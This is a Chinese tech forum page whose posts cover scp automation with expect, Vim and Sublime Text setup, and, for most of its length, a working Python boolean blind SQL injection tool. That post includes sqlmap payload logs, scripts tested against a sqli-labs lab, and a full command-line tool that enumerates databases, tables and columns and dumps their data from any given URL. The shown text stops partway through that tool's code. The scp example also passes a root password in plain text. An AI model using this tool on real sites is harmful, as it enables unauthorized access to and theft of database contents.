什么是CRLF

回复

PHPttgo2 发起了问题 • 1 人关注 • 0 个回复 • 114 次浏览 • 2018-10-21 09:31 • 来自相关话题

Shell 脚本实现scp 自动化交互

SHELL脚本ttgo2 发表了文章 • 0 个评论 • 141 次浏览 • 2018-08-06 18:30 • 来自相关话题

Linux  shell 命令scp 可以实现远程拷贝文件,但是需要人工进行交互,无法使用shell 脚本进行自动化的方式来实现,如果能自动化实现呢? 今天我们来解决这个问题。
 
1、 expect是一个自动交互功能的工具。expect是开了一个子进程,通过spawn来执行shell脚本,监测到脚本的返回结果,通过expect判断要进行的交互输入内容(send),以chat的方式解决了交互的问题。
 





2、默认情况下centos 没有安装,可以通过yum 来进行安装,具体命令为:yum install expect  截图如下:






3、 验证一下是否安装expect成功,截图如下






4、举例来说明expect的格式命令和具体的方法
 
step1: 创建一个后缀名为.exp的文件,scp.exp ,具体代码如下
 #!/usr/bin/expect -f
set timeout 10

set host [lindex $argv 0]
set username [lindex $argv 1]
set password [lindex $argv 2]
set src_file [lindex $argv 3]
set dest_file [lindex $argv 4]

#这里的 set 使用来定义位置变量的,执行脚本的时候传入位置变量spawn scp -r $src_file $username@$host:/tmp/$dest_file
expect {
"(yes/no)?" {
send "yes\n"
expect "*assword:" { send "$password\n" }
}
"*assword:" {
send "$password\n"
}
}


expect "100%"
expect eof:


5 执行过程,
 
step1: 脚本的赋值执行权限,chmod +x scp.exp
 
step2: ./scp.exp 192.168.3.129 root 123456 1.txt 1.txt
 





 
  查看全部
Linux  shell 命令scp 可以实现远程拷贝文件,但是需要人工进行交互,无法使用shell 脚本进行自动化的方式来实现,如果能自动化实现呢? 今天我们来解决这个问题。
 
1、 expect是一个自动交互功能的工具。expect是开了一个子进程,通过spawn来执行shell脚本,监测到脚本的返回结果,通过expect判断要进行的交互输入内容(send),以chat的方式解决了交互的问题。
 
C1CC1CF7-B617-45dd-BDB2-A55EEB216A35.png


2、默认情况下centos 没有安装,可以通过yum 来进行安装,具体命令为:yum install expect  截图如下:

QQ截图20180808163745.png


3、 验证一下是否安装expect成功,截图如下

QQ截图20180808164710.png


4、举例来说明expect的格式命令和具体的方法
 
step1: 创建一个后缀名为.exp的文件,scp.exp ,具体代码如下
 
#!/usr/bin/expect -f
set timeout 10

set host [lindex $argv 0]
set username [lindex $argv 1]
set password [lindex $argv 2]
set src_file [lindex $argv 3]
set dest_file [lindex $argv 4]

#这里的 set 使用来定义位置变量的,执行脚本的时候传入位置变量
spawn scp -r $src_file $username@$host:/tmp/$dest_file
expect {
"(yes/no)?" {
send "yes\n"
expect "*assword:" { send "$password\n" }
}
"*assword:" {
send "$password\n"
}
}


expect "100%"
expect eof:


5 执行过程,
 
step1: 脚本的赋值执行权限,chmod +x scp.exp
 
step2: ./scp.exp 192.168.3.129 root 123456 1.txt 1.txt
 

QQ截图20180808170100.png

 
 

Mac下Vim配置语法高亮

kakaxi 发表了文章 • 0 个评论 • 87 次浏览 • 2018-08-03 17:08 • 来自相关话题

设置终端的字体颜色
  如图,打开终端然后,选择偏好设置,再选择描述文件,再窗口左侧可以选择系统配置好的,或者你也可以自定义,最后别忘了把你的配置设置成默认就行
Vim语法高亮设置






  只需要找到vimrc配置文件就行,在终端输入下面的指令,就可以打开配置文件cp /usr/share/vim/vimrc ~/.vimrc
~/.vimrc  网上有好多人找不到vim的配置文件,你可以用command+shift+G前往文件夹,或者是最简单最笨的方法是你直接回去到根目录,然后再一层一层的cd,然后再一个个找;系统根目录指令,查看文件指令cd /
ls







  红色框中就是我添加的配置,语法高亮、行号、自动缩进,如果你需要更多的配置,直接百度就行,这个网上就很多了,最后看下效果






  查看全部
设置终端的字体颜色
  如图,打开终端然后,选择偏好设置,再选择描述文件,再窗口左侧可以选择系统配置好的,或者你也可以自定义,最后别忘了把你的配置设置成默认就行
Vim语法高亮设置

index.png


  只需要找到vimrc配置文件就行,在终端输入下面的指令,就可以打开配置文件
cp /usr/share/vim/vimrc ~/.vimrc
~/.vimrc
  网上有好多人找不到vim的配置文件,你可以用command+shift+G前往文件夹,或者是最简单最笨的方法是你直接回去到根目录,然后再一层一层的cd,然后再一个个找;系统根目录指令,查看文件指令
cd /
ls


2.png


  红色框中就是我添加的配置,语法高亮、行号、自动缩进,如果你需要更多的配置,直接百度就行,这个网上就很多了,最后看下效果

3.png


 

Sublime Text3 解决INPUT 交互的问题

ttgo2 发表了文章 • 0 个评论 • 180 次浏览 • 2018-07-23 18:26 • 来自相关话题

在使用Sublime text3 时候,如果使用INPUT函数进行交互,则会出现无法进行,因此必须通过sublime text3 的插件进行解决这个问题,解决问题步骤如下;
 
Step1、Ctrl + shift + P ,在弹出的输入框中输入install package control;


step2、Ctrl + shift +p, 输入/选择 Package Control: Install Package,然后在新的输入框中输入SublimeREPL,回车, 安装成功后会出现说明文件

3、依次点击Preferences—Key Buildings,输入以下内容,然后保存,设置按键F5(可以随意修改)为运行程序快捷键
 
[
    { "keys": ["f5"], "caption": "SublimeREPL:Python", 
                      "command": "run_existing_window_command", "args":
                      {
                           "id": "repl_python_run",
                           "file": "config/Python/Main.sublime-menu"
                      } 
    },
]
 





  查看全部
在使用Sublime text3 时候,如果使用INPUT函数进行交互,则会出现无法进行,因此必须通过sublime text3 的插件进行解决这个问题,解决问题步骤如下;
 
Step1、Ctrl + shift + P ,在弹出的输入框中输入install package control;


step2、Ctrl + shift +p, 输入/选择 Package Control: Install Package,然后在新的输入框中输入SublimeREPL,回车, 安装成功后会出现说明文件

3、依次点击Preferences—Key Buildings,输入以下内容,然后保存,设置按键F5(可以随意修改)为运行程序快捷键
 
[
    { "keys": ["f5"], "caption": "SublimeREPL:Python", 
                      "command": "run_existing_window_command", "args":
                      {
                           "id": "repl_python_run",
                           "file": "config/Python/Main.sublime-menu"
                      } 
    },
]
 

QQ截图20180723182626.png

 

python布尔盲注脚本算法完善

lawliet 发表了文章 • 3 个评论 • 137 次浏览 • 2018-06-06 21:49 • 来自相关话题

完善一下之前写的python盲注工具,之前那个盲注工具在猜取字符的时候使用的二分法,通过查找0-126这个范围去采取数据库中的数据。但是当时遗留了一个问题,就是在逐个猜解数据库字符时使用二分法并没有什么问题,这时因为字符都在0-126这个固定范围内,但是在猜取数据库个数、指定数据库的表个数、字段个数或者表中记录条数时,又或者是数据库名的长度、表名长度、字段名的长度时是没有一个固定的范围的,举个例子,比如在猜取表中记录个数时,记录的个数是不能确定范围的,也就是不能确定二分法的最大值,当时采用了循环自加的方式去判断,速度自然是慢了许多。今天抽时间读了一下sqlmap的payload,通过payload发现sqlmap也考虑到了这种情况,并且处理方法还是不错的。对于这种情况还是可以通过二分法判断的,将自己的方法记录一下~
分析sqlmap判断时的payload

首先看一下sqlmap在判断数据库个数时的payload[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>52 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>53 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>48 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>9 AND 'rTJT'='rTJT
[12:09:16] [INFO] retrieved: 5通过分析payload可以看出sqlmap将count查到的数据库个数使用cast转换为了字符型,然后指定二分法的范围为字符'0'-'9',其ascii码转换为十进制也就是48-57,这个区域中间值为52,而看上面sqlmap在判断数据库个数时的第一个payload比较的值是51,所以可以确定sqlmap指定的二分法的大致范围确实是48-57(‘0’-‘9’)

通过对sqlmap的payload的分析,我想到了一种解决之前那个问题的办法,由于查询个数、长度、记录数的结果一定为数字,那么不管这个数字有多大,只要转换为字符串后,它的每一位一定是在'0'-'9'这个范围内,也就是十进制的48-57,所以只需要把数字转换成字符串,然后去使用二分法,指定二分法的范围为48-57,之后通过二分法可以判断出数字字符串每一位的字符,直到不能判断为止,最终就能得到这个数字
自增查找和二分查找算法对比

和之前的自增查找做一个对比,首先以猜解数据库个数为例,我的数据库个数为5个

在不确定二分法范围时采用的自增算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select count(schema_name) from information_schema.schemata)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1




自增算法发送了5次payload判断出了数据库个数为5
再看一下刚刚说的二分查找算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s




在这里二分算法发送了6次payload才判断出来了数据库的个数为5,可以看出当数字比较小的时候,上面的二分法的优势并没有体现出来那么再举一个例子,比如用盲注判断information_schema这个数据库名的长度,长度为18,相比之前的5大了一些,为2位数,再次对比一下两个算法

在不确定二分法范围时采用的自增算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1




发送了18次payload才判断出information_schema数据库名的长度为18再看一下刚刚说的二分查找算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit 0,1),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s




可以看到随着数字的增加,二分法的优势体现出来了,只发送了9次payload就判断出了information_schema数据库名的长度为18盲注脚本加强版

修改过后的盲注脚本,注入速度相比之前的那个明显有所提高#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(url,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getdbs(url,basehtml,num):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit %d,1),%d,1))>%d-- "%(url,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
#print "len:%s"%(length)
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def gettablenum(url,basehtml,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def gettables(url,basehtml,num,dbname):
print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,dbname.encode("hex"),n,i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getcolumnnum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getcolumns(url,basehtml,num,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getdatanum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM %s.%s),%d,1))>%d-- "%(url,dbname,tablename,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(%s) AS CHAR),0x20) FROM %s.%s limit %d,1),%d,1))>%d-- "%(url,columnname,dbname,tablename,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()

  查看全部
完善一下之前写的python盲注工具,之前那个盲注工具在猜取字符的时候使用的二分法,通过查找0-126这个范围去采取数据库中的数据。但是当时遗留了一个问题,就是在逐个猜解数据库字符时使用二分法并没有什么问题,这时因为字符都在0-126这个固定范围内,但是在猜取数据库个数、指定数据库的表个数、字段个数或者表中记录条数时,又或者是数据库名的长度、表名长度、字段名的长度时是没有一个固定的范围的,举个例子,比如在猜取表中记录个数时,记录的个数是不能确定范围的,也就是不能确定二分法的最大值,当时采用了循环自加的方式去判断,速度自然是慢了许多。今天抽时间读了一下sqlmap的payload,通过payload发现sqlmap也考虑到了这种情况,并且处理方法还是不错的。对于这种情况还是可以通过二分法判断的,将自己的方法记录一下~
分析sqlmap判断时的payload

首先看一下sqlmap在判断数据库个数时的payload
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>52 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>53 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>48 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>9 AND 'rTJT'='rTJT
[12:09:16] [INFO] retrieved: 5
通过分析payload可以看出sqlmap将count查到的数据库个数使用cast转换为了字符型,然后指定二分法的范围为字符'0'-'9',其ascii码转换为十进制也就是48-57,这个区域中间值为52,而看上面sqlmap在判断数据库个数时的第一个payload比较的值是51,所以可以确定sqlmap指定的二分法的大致范围确实是48-57(‘0’-‘9’)

通过对sqlmap的payload的分析,我想到了一种解决之前那个问题的办法,由于查询个数、长度、记录数的结果一定为数字,那么不管这个数字有多大,只要转换为字符串后,它的每一位一定是在'0'-'9'这个范围内,也就是十进制的48-57,所以只需要把数字转换成字符串,然后去使用二分法,指定二分法的范围为48-57,之后通过二分法可以判断出数字字符串每一位的字符,直到不能判断为止,最终就能得到这个数字
自增查找和二分查找算法对比

和之前的自增查找做一个对比,首先以猜解数据库个数为例,我的数据库个数为5个

在不确定二分法范围时采用的自增算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select count(schema_name) from information_schema.schemata)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1

1.png

自增算法发送了5次payload判断出了数据库个数为5
再看一下刚刚说的二分查找算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s

1.png

在这里二分算法发送了6次payload才判断出来了数据库的个数为5,可以看出当数字比较小的时候,上面的二分法的优势并没有体现出来那么再举一个例子,比如用盲注判断information_schema这个数据库名的长度,长度为18,相比之前的5大了一些,为2位数,再次对比一下两个算法

在不确定二分法范围时采用的自增算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1

1.png

发送了18次payload才判断出information_schema数据库名的长度为18再看一下刚刚说的二分查找算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit 0,1),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s

1.png

可以看到随着数字的增加,二分法的优势体现出来了,只发送了9次payload就判断出了information_schema数据库名的长度为18盲注脚本加强版

修改过后的盲注脚本,注入速度相比之前的那个明显有所提高
#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(url,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getdbs(url,basehtml,num):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit %d,1),%d,1))>%d-- "%(url,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
#print "len:%s"%(length)
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def gettablenum(url,basehtml,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def gettables(url,basehtml,num,dbname):
print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,dbname.encode("hex"),n,i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getcolumnnum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getcolumns(url,basehtml,num,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
